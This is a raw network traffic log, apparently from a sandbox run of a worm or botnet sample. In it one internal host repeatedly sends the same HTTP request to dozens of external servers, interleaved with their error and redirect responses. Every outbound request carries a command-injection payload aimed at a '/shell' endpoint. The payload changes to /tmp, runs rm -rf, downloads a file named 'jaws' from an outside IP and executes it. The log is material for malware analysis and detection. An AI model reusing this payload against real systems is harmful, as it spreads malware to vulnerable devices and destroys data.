Mar 13, 2024 09:35:58.755563021 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 23 Jun 2020 22:27:11 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.15	59360	183.110.116.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.652674913 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.15	41682	142.58.28.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:59.098483086 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.15	55166	162.55.59.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:59.108807087 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:59.282601118 CET	416	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.14.2 Date: Wed, 13 Mar 2024 08:35:59 GMT Content-Type: text/html Content-Length: 195 Connection: keep-alive WWW-Authenticate: Basic realm="Access restricted" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.15	60738	184.27.159.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:02.433759928 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:02.563011885 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:02 GMT Date: Wed, 13 Mar 2024 08:36:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 30 35 39 32 31 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 36 32 26 23 34 36 3b 31 32 32 62 66 62 64 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b0592117.1710318962.122bfbd2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.15	59220	65.9.69.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:02.736881971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:02.906980038 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:02 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.15	33492	52.18.169.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:02.736960888 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.15	37046	143.0.180.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:02.781637907 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:03.000740051 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.15	49234	210.203.11.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:03.028460026 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:03.317374945 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:03 GMT Date: Wed, 13 Mar 2024 08:36:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 32 30 63 39 64 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 36 33 26 23 34 36 3b 37 36 38 30 35 35 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.720c9d2.1710318963.768055d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.15	53456	217.182.218.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:03.064429998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.15	46842	43.227.22.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:03.082657099 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:03.424137115 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:36:03 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.15	59128	156.245.113.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:03.388629913 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:03.713074923 CET	453	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Wed, 13 Mar 2024 08:36:03 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: http://www.65klus.com/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.15	38756	112.90.88.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:03.598746061 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.15	53128	18.160.205.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.144556999 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:06.249783993 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:06 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.15	34266	18.160.166.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.161936998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:06.284951925 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:06 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.15	57032	207.231.46.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.170953035 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.15	50450	35.156.28.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.207196951 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:06.376848936 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:06 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.15	60220	54.86.191.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.238033056 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.15	46420	104.107.159.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.249706984 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:06.461059093 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:06 GMT Date: Wed, 13 Mar 2024 08:36:06 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 34 35 31 35 30 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 36 36 26 23 34 36 3b 37 62 31 38 31 33 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.86451502.1710318966.7b18138</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.15	49378	43.255.45.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.355740070 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.990128040 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:09.910264969 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.973983049 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.653738022 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:37.013278008 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.15	57738	45.129.97.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.432054043 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.15	60540	211.105.120.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.605377913 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:06.879462957 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 13, 2024 09:36:06.879496098 CET	83	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e Data Ascii: Keep-Alive: timeout=20Content-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.15	54248	167.71.224.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:06.808682919 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
